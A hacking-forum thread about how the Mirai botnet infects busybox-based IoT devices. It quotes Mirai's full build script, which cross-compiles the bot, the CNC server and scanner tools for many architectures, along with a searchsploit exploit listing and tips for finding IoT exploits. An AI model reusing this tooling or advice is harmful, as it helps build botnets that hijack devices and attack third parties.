[Blink]

I was doing some research to write a telnet scanner for an IRC net, but then I thought:

How are IOT-botnets like Mirai able to install their own tools on busybox-based IOT devices if busybox doesn't include any compilers?
(it also doesn't include any interpreted languages besides for ash)

Unless i'm mistaken, I'm pretty sure that it'll come across a different type of processor every now and then (probably most often ARM or MIPS).
Do IOT devices usually include gcc? (Even then, why would they?)

Thanks  

[Pikami]

I was doing some research to write a telnet scanner for an IRC net, but then I thought:

How are IOT-botnets like Mirai able to install their own tools on busybox-based IOT devices if busybox doesn't include any compilers?
(it also doesn't include any interpreted languages besides for ash)

Unless i'm mistaken, I'm pretty sure that it'll come across a different type of processor every now and then (probably most often ARM or MIPS).
Do IOT devices usually include gcc? (Even then, why would they?)

Thanks  

Mirai is cross compiled on one PC.

Here's the build script:

Spoiler:

#!/bin/bash

FLAGS=""

function compile_bot {
"$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
"$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
}

if [ $# == 2 ]; then
if [ "$2" == "telnet" ]; then
FLAGS="-DMIRAI_TELNET"
elif [ "$2" == "ssh" ]; then
FLAGS="-DMIRAI_SSH"
fi
else
echo "Missing build type."
echo "Usage: $0 <debug | release> <telnet | ssh>"
fi

if [ $# == 0 ]; then
echo "Usage: $0 <debug | release> <telnet | ssh>"
elif [ "$1" == "release" ]; then
rm release/mirai.*
rm release/miraint.*
go build -o release/cnc cnc/*.go
compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"

compile_bot i586 miraint.x86 "-static"
compile_bot mips miraint.mips "-static"
compile_bot mipsel miraint.mpsl "-static"
compile_bot armv4l miraint.arm "-static"
compile_bot armv5l miraint.arm5n " "
compile_bot armv6l miraint.arm7 "-static"
compile_bot powerpc miraint.ppc "-static"
compile_bot sparc miraint.spc "-static"
compile_bot m68k miraint.m68k "-static"
compile_bot sh4 miraint.sh4 "-static"

go build -o release/scanListen tools/scanListen.go
elif [ "$1" == "debug" ]; then
gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
gcc -std=c99 tools/enc.c -g -o debug/enc
gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
gcc -std=c99 tools/badbot.c -g -o debug/badbot
go build -o debug/cnc cnc/*.go
go build -o debug/scanListen tools/scanListen.go
else
echo "Unknown parameter $1: $0 <debug | release>"
fi

If you look closely you can see that it builds a binary file for every architecture

[Blink]

I was doing some research to write a telnet scanner for an IRC net, but then I thought:

How are IOT-botnets like Mirai able to install their own tools on busybox-based IOT devices if busybox doesn't include any compilers?
(it also doesn't include any interpreted languages besides for ash)

Unless i'm mistaken, I'm pretty sure that it'll come across a different type of processor every now and then (probably most often ARM or MIPS).
Do IOT devices usually include gcc? (Even then, why would they?)

Thanks  

Mirai is cross compiled on one PC.

Here's the build script:

Spoiler:

#!/bin/bash

FLAGS=""

function compile_bot {
   "$1-gcc" -std=c99 $3 bot/*.c -O3 -fomit-frame-pointer -fdata-sections -ffunction-sections -Wl,--gc-sections -o release/"$2" -DMIRAI_BOT_ARCH=\""$1"\"
   "$1-strip" release/"$2" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr
}

if [ $# == 2 ]; then
   if [ "$2" == "telnet" ]; then
       FLAGS="-DMIRAI_TELNET"
   elif [ "$2" == "ssh" ]; then
       FLAGS="-DMIRAI_SSH"
   fi
else
   echo "Missing build type."
   echo "Usage: $0 <debug | release> <telnet | ssh>"
fi

if [ $# == 0 ]; then
   echo "Usage: $0 <debug | release> <telnet | ssh>"
elif [ "$1" == "release" ]; then
   rm release/mirai.*
   rm release/miraint.*
   go build -o release/cnc cnc/*.go
   compile_bot i586 mirai.x86 "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot mips mirai.mips "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH"
   compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static"
   compile_bot sh4 mirai.sh4 "$FLAGS -DKILLER_REBIND_SSH -static"

   compile_bot i586 miraint.x86 "-static"
   compile_bot mips miraint.mips "-static"
   compile_bot mipsel miraint.mpsl "-static"
   compile_bot armv4l miraint.arm "-static"
   compile_bot armv5l miraint.arm5n " "
   compile_bot armv6l miraint.arm7 "-static"
   compile_bot powerpc miraint.ppc "-static"
   compile_bot sparc miraint.spc "-static"
   compile_bot m68k miraint.m68k "-static"
   compile_bot sh4 miraint.sh4 "-static"

   go build -o release/scanListen tools/scanListen.go
elif [ "$1" == "debug" ]; then
   gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg
   mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips
   armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm
   armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7
   sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4
   gcc -std=c99 tools/enc.c -g -o debug/enc
   gcc -std=c99 tools/nogdb.c -g -o debug/nogdb
   gcc -std=c99 tools/badbot.c -g -o debug/badbot
   go build -o debug/cnc cnc/*.go
   go build -o debug/scanListen tools/scanListen.go
else
   echo "Unknown parameter $1: $0 <debug | release>"
fi

If you look closely you can see that it builds a binary file for every architecture

Thanks, that's a lot of architectures

[DarkMuse]

oneLineResponse@kali:~# searchsploit IOT

[Blink]

oneLineResponse@kali:~# searchsploit IOT

Am I missing something here?

Code:

----------------------------------------- -------------------------------------- Exploit Title | Path | (/usr/share/exploitdb-git/platforms) ----------------------------------------- -------------------------------------- Audiotran 1.4.1 (Windows XP SP2/SP3 Engl | /windows/local/11079.rb Audiotran 1.4.1 - '.pls' Stack Overflow | /windows/local/11109.rb Audiotran 1.4.1 - Direct RET Buffer Over | /windows/local/11171.pl Audiotran 1.4.2.4 - SEH Overflow" | /win_x86/local/14961.py Audiotran 1.4.2.4 - SEH Overflow (DEP By | /windows/local/15047.rb AudioTran 1.4.2.4 - SafeSEH + SEHOP Expl | /windows/local/15184.c Audiotran 1.4.1 - '.pls' Stack Buffer Ov | /windows/local/16626.rb ISC BIND 4.9.7 -T1B - named SIGINT and S | /linux/local/19072.txt Audiotran - '.pls' Stack Buffer Overflow | /windows/local/31766.rb Riot Games League of Legends - Insecure | /windows/local/39916.txt Oracle BeeHive 2 - voice-servlet prepare | /windows/remote/38860.rb RiotPix 0.61 - (forumid) Blind SQL Injec | /php/webapps/7679.php RiotPix 0.61 - (Authentication Bypass) S | /php/webapps/7682.txt Joomla! Component 'com_biblioteca' 1.0 B | /php/webapps/14703.txt ----------------------------------------- --------------------------------------

[DarkMuse]

oneLineResponse@kali:~# searchsploit IOT

Am I missing something here?

Code:

----------------------------------------- -------------------------------------- Exploit Title                           |  Path                                         | (/usr/share/exploitdb-git/platforms) ----------------------------------------- -------------------------------------- Audiotran 1.4.1 (Windows XP SP2/SP3 Engl | /windows/local/11079.rb Audiotran 1.4.1 - '.pls' Stack Overflow  | /windows/local/11109.rb Audiotran 1.4.1 - Direct RET Buffer Over | /windows/local/11171.pl Audiotran 1.4.2.4 - SEH Overflow"        | /win_x86/local/14961.py Audiotran 1.4.2.4 - SEH Overflow (DEP By | /windows/local/15047.rb AudioTran 1.4.2.4 - SafeSEH + SEHOP Expl | /windows/local/15184.c Audiotran 1.4.1 - '.pls' Stack Buffer Ov | /windows/local/16626.rb ISC BIND 4.9.7 -T1B - named SIGINT and S | /linux/local/19072.txt Audiotran - '.pls' Stack Buffer Overflow | /windows/local/31766.rb Riot Games League of Legends - Insecure  | /windows/local/39916.txt Oracle BeeHive 2 - voice-servlet prepare | /windows/remote/38860.rb RiotPix 0.61 - (forumid) Blind SQL Injec | /php/webapps/7679.php RiotPix 0.61 - (Authentication Bypass) S | /php/webapps/7682.txt Joomla! Component 'com_biblioteca' 1.0 B | /php/webapps/14703.txt ----------------------------------------- --------------------------------------

Yeah there were more specific things. Try maybe Internet Of Things or Samsung and look through there. Try different keywords.

[Blink]

oneLineResponse@kali:~# searchsploit IOT

Am I missing something here?

Code:

----------------------------------------- -------------------------------------- Exploit Title                           |  Path                                         | (/usr/share/exploitdb-git/platforms) ----------------------------------------- -------------------------------------- Audiotran 1.4.1 (Windows XP SP2/SP3 Engl | /windows/local/11079.rb Audiotran 1.4.1 - '.pls' Stack Overflow  | /windows/local/11109.rb Audiotran 1.4.1 - Direct RET Buffer Over | /windows/local/11171.pl Audiotran 1.4.2.4 - SEH Overflow"        | /win_x86/local/14961.py Audiotran 1.4.2.4 - SEH Overflow (DEP By | /windows/local/15047.rb AudioTran 1.4.2.4 - SafeSEH + SEHOP Expl | /windows/local/15184.c Audiotran 1.4.1 - '.pls' Stack Buffer Ov | /windows/local/16626.rb ISC BIND 4.9.7 -T1B - named SIGINT and S | /linux/local/19072.txt Audiotran - '.pls' Stack Buffer Overflow | /windows/local/31766.rb Riot Games League of Legends - Insecure  | /windows/local/39916.txt Oracle BeeHive 2 - voice-servlet prepare | /windows/remote/38860.rb RiotPix 0.61 - (forumid) Blind SQL Injec | /php/webapps/7679.php RiotPix 0.61 - (Authentication Bypass) S | /php/webapps/7682.txt Joomla! Component 'com_biblioteca' 1.0 B | /php/webapps/14703.txt ----------------------------------------- --------------------------------------

Yeah there were more specific things. Try maybe Internet Of Things or Samsung and look through there. Try different keywords.

Samsung worked.
I love your one-line responses, it's amusing.

[DarkMuse]

Am I missing something here?

Code:

----------------------------------------- -------------------------------------- Exploit Title                           |  Path                                         | (/usr/share/exploitdb-git/platforms) ----------------------------------------- -------------------------------------- Audiotran 1.4.1 (Windows XP SP2/SP3 Engl | /windows/local/11079.rb Audiotran 1.4.1 - '.pls' Stack Overflow  | /windows/local/11109.rb Audiotran 1.4.1 - Direct RET Buffer Over | /windows/local/11171.pl Audiotran 1.4.2.4 - SEH Overflow"        | /win_x86/local/14961.py Audiotran 1.4.2.4 - SEH Overflow (DEP By | /windows/local/15047.rb AudioTran 1.4.2.4 - SafeSEH + SEHOP Expl | /windows/local/15184.c Audiotran 1.4.1 - '.pls' Stack Buffer Ov | /windows/local/16626.rb ISC BIND 4.9.7 -T1B - named SIGINT and S | /linux/local/19072.txt Audiotran - '.pls' Stack Buffer Overflow | /windows/local/31766.rb Riot Games League of Legends - Insecure  | /windows/local/39916.txt Oracle BeeHive 2 - voice-servlet prepare | /windows/remote/38860.rb RiotPix 0.61 - (forumid) Blind SQL Injec | /php/webapps/7679.php RiotPix 0.61 - (Authentication Bypass) S | /php/webapps/7682.txt Joomla! Component 'com_biblioteca' 1.0 B | /php/webapps/14703.txt ----------------------------------------- --------------------------------------

Yeah there were more specific things. Try maybe Internet Of Things or Samsung and look through there. Try different keywords.

Samsung worked.
I love your one-line responses, it's amusing.

Its a useful skill, being able to find humor in simplicity

[Kyzer]

As discussed it drops multiple payloads depending on the modem. Thankfully though, it is only resident memory now, but I heard a rumor there is a newer IOT botnet that has begun re-flashing firmwares already. This is a new disaster waiting to happen.